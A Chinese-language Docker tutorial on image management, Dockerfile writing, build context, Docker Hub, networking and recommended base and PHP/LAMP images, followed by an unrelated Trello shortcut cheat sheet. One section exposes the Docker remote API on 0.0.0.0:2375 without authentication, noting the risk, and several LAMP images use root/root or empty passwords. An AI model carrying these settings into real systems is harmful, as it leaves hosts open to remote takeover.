image) ,可以用下面的命令专门显示这类镜像: ```bash docker image ls -f dangling=true ``` 一般来说,虚悬镜像已经失去了存在的价值,是可以随意删除的,可以用下面的命令删除。 ```bash docker image prune ``` **中间层镜像** 为了加速镜像构建、重复利用资源,Docker 会利用 中间层镜像。所以在使用一段时间后,可能会看到一些依赖的中间层镜像。默认的 docker image ls 列表中只会显示顶层镜像,如果希望显示包括中间层镜像在内的所有镜像的话,需要加 -a 参数。 ```bash docker image ls -a ``` 这样会看到很多无标签的镜像,与之前的虚悬镜像不同,这些无标签的镜像很多都是中间层镜像,是其它镜像所依赖的镜像。这些无标签镜像不应该删除,否则会导致上层镜像因为依赖丢失而出错。实际上,这些镜像也没必要删除,因为之前说过,相同的层只会存一遍,而这些镜像是别的镜像的依赖,因此并不会因为它们被列出来而多存了一份,无论如何你也会需要它们。只要删除那些依赖它们的镜像后,这些依赖的中间层镜像也会被连带删除。 ### commit 编辑镜像 ```bash docker run --name web1 -d -p 80:80 nginx ``` 这条命令会用 nginx 镜像启动一个容器,命名为 web1,并且映射了 80 端口,这样我们可以用浏览器去访问这个 nginx 服务器。如果是在本机运行的 Docker,那么可以直接访问:http://localhost ,如果是在虚拟机、云服务器上安装的 Docker,则需要将 localhost 换为虚拟机地址或者实际云服务器地址。 直接用浏览器访问的话,我们会看到默认的 Nginx 欢迎页面。 我们修改这个默认的页面,然后进行保存,首先进入容器 ```bash docker exec -it web1 /bin/bash curl 127.0.0.1 echo '<h1>Just test!</h1>' > /usr/share/nginx/html/index.html curl 127.0.0.1 exit ``` 我们修改了容器的文件,也就是改动了容器的存储层。我们可以通过 docker diff 命令看到具体的改动。 ``` docker diff web1 ``` 当运行一个容器的时候(如果不使用卷的话),任何文件修改都会被记录于容器存储层里。而 Docker 提供了一个 docker commit 命令,可以将容器的存储层保存下来成为镜像。 就是在原有镜像的基础上,再叠加上容器的存储层,并构成新的镜像。以后我们运行这个新镜像的时候,就会拥有原有容器最后的文件变化。 用下面的命令将容器保存为镜像 ```bash docker commit --author "zhangsan" --message "修改了默认网页" web1 nginx:v2 ``` 现在可以在 docker image ls 中看到这个修改过的镜像: ```bash docker image ls nginx ``` 可以用 docker history 具体查看镜像内的历史记录,如果比较 nginx:latest 的历史记录,我们会发现新增了我们刚刚提交的这一层。 ```bash root@debian-gnu-linux-10:~# docker history 0c245efcceb8 IMAGE CREATED CREATED BY SIZE COMMENT 0c245efcceb8 50 seconds ago nginx -g daemon off; 1.25kB 修改了默认网页 eeb9db34b331 2 months ago /bin/sh -c #(nop) CMD ["nginx" "-g" "daemon… 0B <missing> 2 months ago /bin/sh -c #(nop) STOPSIGNAL SIGQUIT 0B <missing> 2 months ago /bin/sh -c #(nop) EXPOSE 80 0B <missing> 2 months ago /bin/sh -c #(nop) ENTRYPOINT ["/docker-entr… 0B <missing> 2 months ago /bin/sh -c #(nop) COPY file:09a214a3e07c919a… 4.61kB <missing> 2 months ago /bin/sh -c #(nop) COPY file:0fd5fca330dcd6a7… 1.04kB <missing> 2 months ago /bin/sh -c #(nop) COPY file:0b866ff3fc1ef5b0… 1.96kB <missing> 2 months ago /bin/sh -c #(nop) COPY file:65504f71f5855ca0… 1.2kB ... root@debian-gnu-linux-10:~# docker history eeb9db34b331 IMAGE CREATED CREATED BY SIZE COMMENT eeb9db34b331 2 months ago /bin/sh -c #(nop) CMD ["nginx" "-g" "daemon… 0B <missing> 2 months ago /bin/sh -c #(nop) STOPSIGNAL SIGQUIT 0B <missing> 2 months ago /bin/sh -c #(nop) EXPOSE 80 0B <missing> 2 months ago /bin/sh -c #(nop) ENTRYPOINT ["/docker-entr… 0B <missing> 2 months ago /bin/sh -c #(nop) COPY file:09a214a3e07c919a… 4.61kB <missing> 2 months ago /bin/sh -c #(nop) COPY file:0fd5fca330dcd6a7… 1.04kB <missing> 2 months ago /bin/sh -c #(nop) COPY file:0b866ff3fc1ef5b0… 1.96kB <missing> 2 months ago /bin/sh -c #(nop) COPY file:65504f71f5855ca0… 1.2kB ... ``` 新的镜像定制好后,我们可以来运行这个镜像。 ``` docker run --name web2 -d -p 81:80 nginx:v2 docker exec -it web2 /bin/bash curl 127.0.0.1 ``` ### Dockerfile 镜像的定制实际上就是定制每一层所添加的配置、文件。如果我们可以把每一层修改、安装、构建、操作的命令都写入一个脚本,用这个脚本来构建、定制镜像,那么之前提及的无法重复的问题、镜像构建透明性的问题、体积的问题就都会解决。这个脚本就是 Dockerfile。 Dockerfile 是一个文本文件,其内包含了一条条的 指令(Instruction),每一条指令构建一层,因此每一条指令的内容,就是描述该层应当如何构建。 还以之前修改 nginx 镜像为例,这次我们使用 Dockerfile 来定制。 在一个空白目录中,建立一个文本文件,并命名为 Dockerfile: ```bash mkdir mynginx && cd mynginx vim Dockerfile FROM nginx RUN echo '<h1>Just test!</h1>' > /usr/share/nginx/html/index.html ``` **FROM 指定基础镜像** 所谓定制镜像,那一定是以一个镜像为基础,在其上进行定制。就像我们之前运行了一个 nginx 镜像的容器,再进行修改一样,基础镜像是必须指定的。而 FROM 就是指定 基础镜像,因此一个 Dockerfile 中 FROM 是必备的指令,并且必须是第一条指令。 在 dockerhub 上有非常多的高质量的官方镜像,有可以直接拿来使用的服务类的镜像,如 nginx、tomcat、php 等;也有一些方便开发、构建、运行各种语言应用的镜像,如 python、go 等。可以在其中寻找一个最符合我们最终目标的镜像为基础镜像进行定制。 如果没有找到对应服务的镜像,官方镜像中还提供了一些更为基础的操作系统镜像,如 ubuntu、alpine 等,这些操作系统的软件库为我们提供了更广阔的扩展空间。除了选择现有镜像为基础镜像外,Docker 还存在一个特殊的镜像,名为 scratch。这个镜像是虚拟的概念,并不实际存在,它表示一个空白的镜像。 如果你以 scratch 为基础镜像的话,意味着你不以任何镜像为基础,接下来所写的指令将作为镜像第一层开始存在。 不以任何系统为基础,直接将可执行文件复制进镜像的做法并不罕见,对于 Linux 下静态编译的程序来说,并不需要有操作系统提供运行时支持,所需的一切库都已经在可执行文件里了,因此直接 FROM scratch 会让镜像体积更加小巧。使用 Go 语言 开发的应用很多会使用这种方式来制作镜像,这也是为什么有人认为 Go 是特别适合容器微服务架构的语言的原因之一。 **RUN 执行命令** RUN 指令是用来执行命令行命令的。由于命令行的强大能力,RUN 指令在定制镜像时是最常用的指令之一。其格式有两种: - shell 格式:RUN <命令>,就像直接在命令行中输入的命令一样。刚才写的 Dockerfile 中的 RUN 指令就是这种格式。 ```dockerfile RUN echo '<h1>Hello, Docker!</h1>' > /usr/share/nginx/html/index.html ``` - exec 格式:RUN ["可执行文件", "参数1", "参数2"],这更像是函数调用中的格式。既然 RUN 就像 Shell 脚本一样可以执行命令,那么我们是否就可以像 Shell 脚本一样把每个命令对应一个 RUN 呢?比如这样: ```dockerfile FROM debian:stretch RUN apt-get update RUN apt-get install -y gcc libc6-dev make wget RUN wget -O redis.tar.gz "http://download.redis.io/releases/redis-5.0.3.tar.gz" RUN mkdir -p /usr/src/redis RUN tar -xzf redis.tar.gz -C /usr/src/redis --strip-components=1 RUN make -C /usr/src/redis RUN make -C /usr/src/redis install ``` Dockerfile 中每一个指令都会建立一层,RUN 也不例外。每一个 RUN 的行为,就和刚才我们手工建立镜像的过程一样:新建立一层,在其上执行这些命令,执行结束后,commit 这一层的修改,构成新的镜像。 而上面的这种写法,创建了 7 层镜像。这是完全没有意义的,而且很多运行时不需要的东西,都被装进了镜像里,比如编译环境、更新的软件包等等。结果就是产生非常臃肿、非常多层的镜像,不仅仅增加了构建部署的时间,也很容易出错。 这是很多初学 Docker 的人常犯的一个错误。 Union FS 是有最大层数限制的,比如 AUFS,曾经是最大不得超过 42 层,现在是不得超过 127 层。 正确的写法应该是这样 ```dockerfile FROM debian:stretch RUN set -x; buildDeps='gcc libc6-dev make wget' \ && apt-get update \ && apt-get install -y $buildDeps \ && wget -O redis.tar.gz "http://download.redis.io/releases/redis-5.0.3.tar.gz" \ && mkdir -p /usr/src/redis \ && tar -xzf redis.tar.gz -C /usr/src/redis --strip-components=1 \ && make -C /usr/src/redis \ && make -C /usr/src/redis install \ && rm -rf /var/lib/apt/lists/* \ && rm redis.tar.gz \ && rm -r /usr/src/redis \ && apt-get purge -y --auto-remove $buildDeps ``` 仅仅使用一个 RUN 指令,并使用 && 将各个所需命令串联起来。将之前的 7 层,简化为了 1 层。在撰写 Dockerfile 的时候,要经常提醒自己,这并不是在写 Shell 脚本,而是在定义每一层该如何构建。 并且,这里为了格式化还进行了换行。Dockerfile 支持 Shell 类的行尾添加 \ 的命令换行方式,以及行首 # 进行注释的格式。良好的格式,比如换行、缩进、注释等,会让维护、排障更为容易,这是一个比较好的习惯。 此外,还可以看到这一组命令的最后添加了清理工作的命令,删除了为了编译构建所需要的软件,清理了所有下载、展开的文件,并且还清理了 apt 缓存文件。这是很重要的一步,我们之前说过,镜像是多层存储,每一层的东西并不会在下一层被删除,会一直跟随着镜像。因此镜像构建时,一定要确保每一层只添加真正需要添加的东西,任何无关的东西都应该清理掉。 现在到之前 nginx 的 Dockerfile 文件所在目录执行 docker build ``` root@debian-gnu-linux-10:~/mynginx# docker build -t nginx:v3 . Sending build context to Docker daemon 2.048kB Step 1/2 : FROM nginx ---> eeb9db34b331 Step 2/2 : RUN echo '<h1>Just test!</h1>' > /usr/share/nginx/html/index.html ---> Running in b51eb821c115 Removing intermediate container b51eb821c115 ---> 2109677c2aef Successfully built 2109677c2aef Successfully tagged nginx:v3 ``` 从命令的输出结果中,我们可以清晰的看到镜像的构建过程。在 Step 2 中,如同我们之前所说的那样,RUN 指令启动了一个容器 b51eb821c115 ,执行了所要求的命令,并最后提交了这一层 2109677c2aef ,随后删除了所用到的这个容器 b51eb821c115 在这里我们指定了最终镜像的名称 -t nginx:v3,构建成功后,我们可以像之前运行 nginx:v2 那样来运行这个镜像,其结果会和 nginx:v2 一样。 **镜像构建上下文(Context)** docker build 命令最后有一个 . 表示当前目录,而 Dockerfile 就在当前目录,因此不少初学者以为这个路径是在指定 Dockerfile 所在路径,这么理解其实是不准确的。如果对应上面的命令格式,你可能会发现,这是在指定上下文路径。那么什么是上下文呢? Docker 在运行时分为 Docker 引擎(也就是服务端守护进程)和客户端工具。Docker 的引擎提供了一组 REST API,被称为 Docker Remote API,而如 docker 命令这样的客户端工具,则是通过这组 API 与 Docker 引擎交互,从而完成各种功能。因此,虽然表面上我们好像是在本机执行各种 docker 功能,但实际上,一切都是使用的远程调用形式在服务端(Docker 引擎)完成。也因为这种 C/S 设计,让我们操作远程服务器的 Docker 引擎变得轻而易举。 当我们进行镜像构建的时候,并非所有定制都会通过 RUN 指令完成,经常会需要将一些本地文件复制进镜像,比如通过 COPY 指令、ADD 指令等。而 docker build 命令构建镜像,其实并非在本地构建,而是在服务端,也就是 Docker 引擎中构建的。那么在这种客户端/服务端的架构中,如何才能让服务端获得本地文件呢? 这就引入了上下文的概念。当构建的时候,用户会指定构建镜像上下文的路径,docker build 命令得知这个路径后,会将路径下的所有内容打包,然后上传给 Docker 引擎。这样 Docker 引擎收到这个上下文包后,展开就会获得构建镜像所需的一切文件。 如果在 Dockerfile 中这么写: ```dockerfile COPY ./package.json /app/ ``` 这并不是要复制执行 docker build 命令所在的目录下的 package.json,也不是复制 Dockerfile 所在目录下的 package.json,而是复制 上下文(context) 目录下的 package.json。 因此,COPY 这类指令中的源文件的路径都是相对路径。这也是初学者经常会问的为什么 `COPY ../package.json /app` 或者 `COPY /opt/xxxx /app` 无法工作的原因,因为这些路径已经超出了上下文的范围,Docker 引擎无法获得这些位置的文件。如果真的需要那些文件,应该将它们复制到上下文目录中去。 现在就可以理解刚才的命令 docker build -t nginx:v3 . 中的这个 .,实际上是在指定上下文的目录,docker build 命令会将该目录下的内容打包交给 Docker 引擎以帮助构建镜像。 理解构建上下文对于镜像构建是很重要的,避免犯一些不应该的错误。比如有些初学者在发现 `COPY /opt/xxxx /app` 不工作后,于是干脆将 Dockerfile 放到了硬盘根目录去构建,结果发现 docker build 执行后,在发送一个几十 GB 的东西,极为缓慢而且很容易构建失败。那是因为这种做法是在让 docker build 打包整个硬盘,这显然是使用错误。 一般来说,应该会将 Dockerfile 置于一个空目录下,或者项目根目录下。如果该目录下没有所需文件,那么应该把所需文件复制一份过来。如果目录下有些东西确实不希望构建时传给 Docker 引擎,那么可以用 `.gitignore` 一样的语法写一个 `.dockerignore`,该文件是用于剔除不需要作为上下文传递给 Docker 引擎的。 那么为什么会有人误以为 . 是指定 Dockerfile 所在目录呢?这是因为在默认情况下,如果不额外指定 Dockerfile 的话,会将上下文目录下的名为 Dockerfile 的文件作为 Dockerfile。 这只是默认行为,实际上 Dockerfile 的文件名并不要求必须为 Dockerfile,而且并不要求必须位于上下文目录中,比如可以用 `-f ../Dockerfile.php` 参数指定某个文件作为 Dockerfile。一般都会默认使用的文件名 Dockerfile,以及会将其置于镜像构建上下文目录中。 **直接用 Git repo 进行构建** ```bash docker build -t hello-world https://github.com/docker-library/hello-world.git#master:amd64/hello-world ``` **用给定的 tar 压缩包构建** ```bash docker build http://server/context.tar.gz ``` **从标准输入中读取 Dockerfile 进行构建** 如果标准输入传入的是文本文件,则将其视为 Dockerfile,并开始构建。这种形式由于直接从标准输入中读取 Dockerfile 的内容,它没有上下文,因此不可以像其他方法那样可以将本地文件 COPY 进镜像之类的事情。 ```bash docker build - < Dockerfile # 或 cat Dockerfile | docker build - ``` **从标准输入中读取上下文压缩包进行构建** 如果发现标准输入的文件格式是 gzip、bzip2 以及 xz 的话,将会使其为上下文压缩包,直接将其展开,将里面视为上下文,并开始构建。 ```bash docker build - < context.tar.gz ``` --- ## 导出和导入 **容器导出** 如果要导出本地某个容器,可以使用 docker export 命令。 ```bash docker container ls -a docker export xxx > ubuntu.tar ``` 这样将导出容器快照到本地文件。 ```bash # 当前目录的 Dockerfile 创建镜像 docker build -t <image-name>:<tag> . # 指定文件构建镜像 docker build -f /path/to/a/Dockerfile -t <image-name>:<tag> . # 将镜像保存 tar 包 docker save -o image-name.tar <image-name>:<tag> # 导入 tar 镜像 docker load --input image-name.tar ``` **导入容器快照** 可以使用 docker import 从容器快照文件中再导入为镜像,例如 ```bash cat ubuntu.tar | docker import - test/ubuntu:v1.0 ``` 此外,也可以通过指定 URL 或者某个目录来导入,例如 ```bash docker import http://example.com/exampleimage.tgz example/imagerepo ``` 用户既可以使用 docker load 来导入镜像存储文件到本地镜像库,也可以使用 docker import 来导入一个容器快照到本地镜像库。这两者的区别在于容器快照文件将丢弃所有的历史记录和元数据信息(即仅保存容器当时的快照状态),而镜像存储文件将保存完整记录,体积也要大。此外,从容器快照文件导入时可以重新指定标签等元数据信息。 --- ## Docker Hub - https://hub.docker.com **登陆** 执行 docker login 命令交互式的输入用户名及密码来完成在命令行界面登录 Docker Hub。 ```bash docker login ``` 通过 docker logout 退出登录 **拉取镜像** 可以通过 docker search 命令来查找官方仓库中的镜像,并利用 docker pull 命令来将它下载到本地。 根据是否是官方提供,可将镜像分为两类。 一种是类似 centos 这样的镜像,被称为基础镜像或根镜像。这些基础镜像由 Docker 公司创建、验证、支持、提供。这样的镜像往往使用单个单词作为名字。 还有一种类型,比如 ansible/centos7-ansible 镜像,它是由 Docker Hub 的注册用户创建并维护的,往往带有用户名称前缀。可以通过前缀 username/ 来指定使用某个用户提供的镜像,比如 ansible 用户。 **推送镜像** 用户也可以在登录后通过 docker push 命令来将自己的镜像推送到 Docker Hub。 ```bash # 登录 Docker Hub docker login # 容器打包镜像 docker commit -a "作者" -m "备注" 容器ID <image-name>:<tag> # 将容器打包成规范的镜像 docker commit -m <exiting-Container> <hub-user>/<repo-name>[:<tag>] # 上传推送镜像到公共仓库 docker push <hub-user>/<repo-name>:<tag> docker push xxxx/ubuntu:18.04 # 报错 : denied: requested access to the resource is denied docker tag nginx zhang3/nginx:latest docker push zhang3/nginx:latest # tag 修改为 zhang3/xxxxx 就 push 成功。需要注意的是 zhang3 需要是本人的 docker 用户名。 ``` --- ## docker remote api > ⚠️ 注意: 监听 0.0.0.0 有安全风险,生产环境下请监听 127.0.0.1 ```bash vim /usr/lib/systemd/system/docker.service ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock systemctl daemon-reload systemctl restart docker ``` --- ## 容器网络管理 ### 原生网络 Docker 安装完成存在多种原生网络模式 bridge、host、none。 **bridge 模式(桥接模式)** > -net=bridge(默认) 这是dokcer网络的默认设置,为容器创建独立的网络命名空间,容器具有独立的网卡等所有单独的网络栈,是最常用的使用方式。 在 docker run 启动容器的时候,如果不加 -net 参数,就默认采用这种网络模式。 安装完 docker,系统会自动添加一个供 docker 使用的网桥 docker0,我们创建一个新的容器时,容器通过 DHCP 获取一个与 docker0 同网段的 IP 地址,并默认连接到 docker0 网桥,以此实现容器与宿主机的网络互通。 当执行 docker run 加入 -p 参数是,实际是在 iptables 中加入了对应的 DNAT 端口转发规则。 **host 模式(主机模式)** > -net=host host 模式的容器跟宿主机共用一个 namespace,拥有一样的 IP 和路由,因此容器内的服务端口不能跟宿主机相同。 这个模式下创建出来的容器,直接使用容器宿主机的网络命名空间。将不拥有自己独立的Network Namespace,即没有独立的网络环境。它使用宿主机的ip和端口。这种模式主要适用于管理员希望以docker方式管理服务器。 **none 模式(禁用网络模式)** > -net=none 为容器创建独立网络命名空间,但不为它做任何网络配置,容器中只有lo,用户可以在此基础上,对容器网络做任意定制。这个模式下,dokcer不为容器进行任何网络配置。需要我们自己为容器添加网卡,配置IP。因此,若想使用pipework配置docker容器的ip地址,必须要在none模式下才可以。 **其他容器模式(即container模式,join模式)** -net=container:NAME_or_ID 与host模式类似,只是容器将与指定的容器共享网络命名空间。这个模式就是指定一个已有的容器,共享该容器的IP和端口。除了网络方面两个容器共享,其他的如文件系统,进程等还是隔离开的。 **用户自定义** docker 1.9版本以后新增的特性,允许容器使用第三方的网络实现或者创建单独的bridge网络,提供网络隔离能力。 ### 外部访问容器 容器中可以运行一些网络应用,要让外部也可以访问这些应用,可以通过 -P 或 -p 参数来指定端口映射。 当使用 -P 标记时,Docker 会随机映射一个端口到内部容器开放的网络端口。 > ⚠️ 注意 -p 标记可以多次使用来绑定多个端口 使用 docker container ls 可以看到,端口映射情况 可以通过 docker logs 命令来查看访问记录 ``` docker logs xxx ``` -p 则可以指定要映射的端口,并且,在一个指定端口上只可以绑定一个容器。支持的格式有 ip:hostPort:containerPort | ip::containerPort | hostPort:containerPort。 **映射所有接口地址** 使用 hostPort:containerPort 格式本地的 80 端口映射到容器的 80 端口,可以执行 ```bash docker run -d -p 80:80 nginx:alpine ``` 此时默认会绑定本地所有接口上的所有地址。 **映射到指定地址的指定端口** 可以使用 ip:hostPort:containerPort 格式指定映射使用一个特定地址,比如 localhost 地址 127.0.0.1 ```bash docker run -d -p 127.0.0.1:80:80 nginx:alpine ``` **映射到指定地址的任意端口** 使用 ip::containerPort 绑定 localhost 的任意端口到容器的 80 端口,本地主机会自动分配一个端口。 ```bash docker run -d -p 127.0.0.1::80 nginx:alpine ``` 还可以使用 udp 标记来指定 udp 端口 ```bash docker run -d -p 127.0.0.1:80:80/udp nginx:alpine ``` **查看映射端口配置** 使用 docker port 来查看当前映射的端口配置,也可以查看到绑定的地址 ```bash docker port xxxx 80 ``` ### 查看容器的ip地址 ```bash # 进入容器后 cat /etc/hosts ``` ```bash # 在宿主机 docker inspect <container id> | jq .[].NetworkSettings.Networks # 或 docker inspect --format '{{ .NetworkSettings.IPAddress }}' <container-ID> # 或 docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' container_name_or_id ``` ### 容器互联 新创建的容器和已经存在的一个容器共享一个 Network Namespace,而不是和宿主机共享。新创建的容器不会创建自己的网卡,配置自己的 IP,而是和一个指定的容器共享 IP、端口范围等。同样,两个容器除了网络方面,其他的如文件系统、进程列表等还是隔离的。两个容器的进程可以通过lo网卡设备通信。 ```bash docker network ls # 新建虚拟网络 docker network create -d bridge demo-net # -d 参数指定 Docker 网络类型,有 bridge overlay。其中 overlay 网络类型用于 Swarm mode # 第二个例子 docker run -itd --name test1 --network demo-net alpine docker run -itd --name test2 --network demo-net alpine # 分别进入容器,能够互相ping通 docker exec -it test1 /bin/bash docker exec -it test2 /bin/bash ``` ### 自定义IP ```bash # 用下面的命令创建docker网桥 docker network create -d bridge -o com.docker.network.bridge.name='demo-net2' --subnet=172.10.200.0/24 --ip-range=172.10.200.0/24 --gateway=172.10.200.1 demo-net2 # 运行容器 docker run -itd --name test0 --network demo-net2 alpine ``` ### 容器dns配置 ```bash # vi /etc/docker/daemon.json 设置所有容器的DNS # 这样容器就可以共享这里的DNS配置,解析域名了。 "dns": [ "223.5.5.5", "8.8.8.8" ] # 单独指定容器DNS docker run -it --rm --dns=223.5.5.5 --dns-search=test.com bmc/opensuse15.2:dev ``` 如果在容器启动时没有指定 --dns/--dns-search 两个参数,Docker 会默认用主机上的 /etc/resolv.conf 来配置容器。 --- ## 案例 ### 推荐的镜像 **BusyBox** BusyBox 是一个集成了一百多个最常用 Linux 命令和工具(如 cat、echo、grep、mount、telnet 等)的精简工具箱,它只需要几 MB 的大小,很方便进行各种快速验证,被誉为“Linux 系统的瑞士军刀”。 BusyBox 可运行于多款 POSIX 环境的操作系统中,如 Linux(包括 Android)、Hurd、FreeBSD 等。 一般是 1~3M 的大小 ```bash docker pull busybox:latest docker image ls ``` **Alpine** Alpine 操作系统是一个面向安全的轻型 Linux 发行版。它不同于通常 Linux 发行版,Alpine 采用了 musl libc 和 busybox 以减小系统的体积和运行时资源消耗,但功能上比 busybox 又完善的多,因此得到开源社区越来越多的青睐。在保持瘦身的同时,Alpine 还提供了自己的包管理工具 apk,可以通过 https://pkgs.alpinelinux.org/packages 网站上查询包信息,也可以直接通过 apk 命令直接查询和安装各种软件。 Alpine 由非商业组织维护的,支持广泛场景的 Linux发行版,它特别为资深/重度Linux用户而优化,关注安全,性能和资源效能。Alpine 镜像可以适用于更多常用场景,并且是一个优秀的可以适用于生产的基础系统/环境。 Alpine Docker 镜像也继承了 Alpine Linux 发行版的这些优势。相比于其他 Docker 镜像,它的容量非常小,仅仅只有 5 MB 左右(对比 Ubuntu 系列镜像接近 200 MB),且拥有非常友好的包管理机制。官方镜像来自 docker-alpine 项目。 目前 Docker 官方已开始推荐使用 Alpine 替代之前的 Ubuntu 做为基础镜像环境。这样会带来多个好处。包括镜像下载速度加快,镜像安全性提高,主机之间的切换更方便,占用更少磁盘空间等。 一般是 5~6M 的大小 ```bash docker pull alpine:latest docker image ls ``` 由于镜像很小,下载时间往往很短,读者可以直接使用 docker run 指令直接运行一个 Alpine 容器,并指定运行的 Linux 指令,例如: ```bash docker run alpine echo '123' ``` 如果使用 Alpine 镜像替换 Ubuntu 基础镜像,安装软件包时需要用 apk 包管理器替换 apt 工具,如 ```bash apk add --no-cache <package> ``` Alpine 中软件安装包的名字可能会与其他发行版有所不同,可以在 https://pkgs.alpinelinux.org/packages 网站搜索并确定安装包名称。如果需要的安装包不在主索引内,但是在测试或社区索引中。那么可以按照以下方法使用这些安装包。 ```bash echo "http://dl-cdn.alpinelinux.org/alpine/edge/testing" >> /etc/apk/repositories apk --update add --no-cache <package> ``` 由于在国内访问 apk 仓库较缓慢,建议在使用 apk 之前先替换仓库地址为国内镜像。 ```bash sed -i "s/dl-cdn.alpinelinux.org/mirrors.aliyun.com/g" /etc/apk/repositories apk add --no-cache <package> ``` **Debian** Debian 是由 GPL 和其他自由软件许可协议授权的自由软件组成的操作系统,由 Debian 计划(Debian Project) 组织维护。Debian 计划 是一个独立的、分散的组织,由 3000 人志愿者组成,接受世界多个非盈利组织的资金支持,Software in the Public Interest 提供支持并持有商标作为保护机构。Debian 以其坚守 Unix 和自由软件的精神,以及其给予用户的众多选择而闻名。现时 Debian 包括了超过 25,000 个软件包并支持 12 个计算机系统结构。 Debian 作为一个大的系统组织框架,其下有多种不同操作系统核心的分支计划,主要为采用 Linux 核心的 Debian GNU/Linux 系统,其他还有采用 GNU Hurd 核心的 Debian GNU/Hurd 系统、采用 FreeBSD 核心的 Debian GNU/kFreeBSD 系统,以及采用 NetBSD 核心的 Debian GNU/NetBSD 系统。甚至还有利用 Debian 的系统架构和工具,采用 OpenSolaris 核心构建而成的 Nexenta OS 系统。在这些 Debian 系统中,以采用 Linux 核心的 Debian GNU/Linux 最为著名。 ```bash docker pull debian:latest docker image ls docker run -it debian bash ``` **Ubuntu** Ubuntu 是一个以桌面应用为主的 GNU/Linux 操作系统。Ubuntu 基于 Debian 发行版和 GNOME/Unity 桌面环境,与 Debian 的不同在于它每 6 个月会发布一个新版本,每 2 年推出一个长期支持 (Long Term Support,LTS) 版本,一般支持 3 年时间。 ```bash docker pull ubuntu:18.04 docker image ls docker run -ti ubuntu:18.04 /bin/bash ``` **CentOS** CentOS(Community Enterprise Operating System,中文意思是:社区企业操作系统),它是基于 Red Hat Enterprise Linux 源代码编译而成。由于 CentOS 与 Redhat Linux 源于相同的代码基础,所以很多成本敏感且需要高稳定性的公司就使用 CentOS 来替代商业版 Red Hat Enterprise Linux。CentOS 自身不包含闭源软件。 ```bash docker pull centos:7 docker image ls docker run -it centos:7 bash ``` **fedora** Fedora 由 Fedora Project 社区开发,红帽公司赞助的 Linux 发行版。它的目标是创建一套新颖、多功能并且自由和开源的操作系统。Fedora 的功能对于用户而言,它是一套功能完备的,可以更新的免费操作系统,而对赞助商 Red Hat 而言,它是许多新技术的测试平台。被认为可用的技术最终会加入到 Red Hat Enterprise Linux 中。 ```bash docker pull fedora:latest docker image ls docker run -it fedora bash ``` ### PHP - PHP 5.2 |PHP版本|系统版本| Apache 版本|Web路径|COMMAND| |-|-|-|-|-| |5.2.17|Ubuntu 16.04.5|2.2.22| /var/www/html|/init.sh| ```bash # 拉取镜像 docker pull seti/php52:latest # 运行容器 docker run -d -p 8080:80 --name PHP5.2 seti/php52:latestW ``` - PHP 5.6 |PHP版本|系统版本| Apache 版本|Web路径|COMMAND| |-|-|-|-|-| |5.6.40|Ubuntu 16.04.5|2.4.37|/var/www/app|/sbin/entrypoint.sh| ```bash # 拉取镜像 docker pull romeoz/docker-apache-php:5.6 # 运行容器 docker run -d -p 8080:80 --name PHP5.6 romeoz/docker-apache-php:5.6 ``` - PHP 7.3 |PHP版本|系统版本| Apache 版本|Web路径|COMMAND| |-|-|-|-|-| |7.3.10|Ubuntu 18.04.3|2.4.4|/var/www/app|/sbin/entrypoint.sh| ```bash # 拉取镜像 docker pull romeoz/docker-apache-php:7.3 # 运行容器 docker run -d -p 8080:80 --name PHP7.3 romeoz/docker-apache-php:7.3 ``` **LAMP** - PHP 5.6.28 + MariaDB 10.1.19 |PHP版本|MariaDB版本|系统版本|Apache 版本 |Web路径| COMMAND| |-|-|-|-|-|-| |5.6.28 |10.1.19 |Alpine Linux 3.4 |2.4.23| /var/www/html| /start.sh| MySQL 的用户名和密码信息: |用户名|密码| |-|-| |root|空| ```bash # 拉取镜像 docker pull janes/alpine-lamp:latest # 运行容器 docker run -d -p 8080:80 --name LAMP janes/alpine-lamp:latest ``` - PHP 5.5.9 + MySQL 5.5.61 |PHP版本|MySQL版本|系统版本|Apache 版本 |Web路径| COMMAND| |-|-|-|-|-|-| |5.5.9 |5.5.61 |Ubuntu 14.04.5 |2.4.7| /var/www/html| /start.sh| MySQL 的用户名和密码信息: |用户名|密码| |-|-| |root|root| ```bash # 拉取镜像 docker pull medicean/vulapps:base_lamp # 运行容器 docker run -d -p 8080:80 --name LAMP medicean/vulapps:base_lamp ``` - PHP 7.3.22 + MariaDB 10.4.15 |PHP版本|MariaDB版本|系统版本|Apache 版本 |Web路径| COMMAND| |-|-|-|-|-|-| |7.3.22 |10.4.15 |Alpine Linux 3.11|2.4.46|/var/www/localhost/htdocs|/entry.sh| MySQL 的用户名和密码信息: |用户名|密码| |-|-| |root|root| ```bash # 拉取镜像 docker pull sqlsec/alpine-lamp # 运行容器 记住要指定密码 docker run -d -p 8080:80 --name LAMP -e MYSQL_ROOT_PASSWORD=root sqlsec/alpine-lamp ``` --- ## Source & Reference - https://mp.weixin.qq.com/s/8c9AZXrGH4dkDK1JOe9FPg - https://www.sqlsec.com/2020/11/docker4.html - https://blog.csdn.net/sannerlittle/article/details/77063800 - https://yeasy.gitbook.io/docker_practice/image/list - https://yeasy.gitbook.io/docker_practice/network/port_mapping - https://yeasy.gitbook.io/docker_practice/image/build - https://yeasy.gitbook.io/docker_practice/image/commit
sec-knowleage
--- title: Trello date: 2022-11-23 16:23:31.702599 background: bg-[#417eef] label: tags: - - categories: - Keyboard Shortcuts intro: | A visual cheat-sheet for the 29 keyboard shortcuts found on Trello --- Keyboard Shortcuts {.cols-2} ------------------ ### General I Shortcut | Action ---|--- `Up/Down/Left/Right` | Navigate Cards `B` | Open Header Boards Menu `/` | Focus Search Box `C` | Archive Card `D` | Due Date `E` | Quick Edit Mode `Esc` | Close Menu/Cancel Editing `Ctrl` `Enter` | Save Text `Enter` | Open Card `F` | Open Card Filter Menu `L` | Label `;` | Toggle Label Names `M` | Add/Remove Members `N` | Insert New Card `,/./</>` | Move Card to Adjacent List {.shortcuts} ### General II Shortcut | Action ---|--- `Q` | My Cards Filter `S` | Watch `Space` | Assign Self `T` | Edit Title `V` | Vote `W` | Toggle Board Menu `X` | Clear All Filters `?` | Open Shortcuts Page `Shift` `2` | Autocomplete Members `Shift` `3` | Autocomplete Labels `Shift` `6` | Autocomplete Position `Ctrl` `C` | Copy Card `Ctrl` `V` | Paste Card `Ctrl` `X` | Move Card {.shortcuts} Also see -------- - [Keyboard shortcuts for Trello](https://trello.com/shortcuts) _(trello.com)_
sec-knowleage
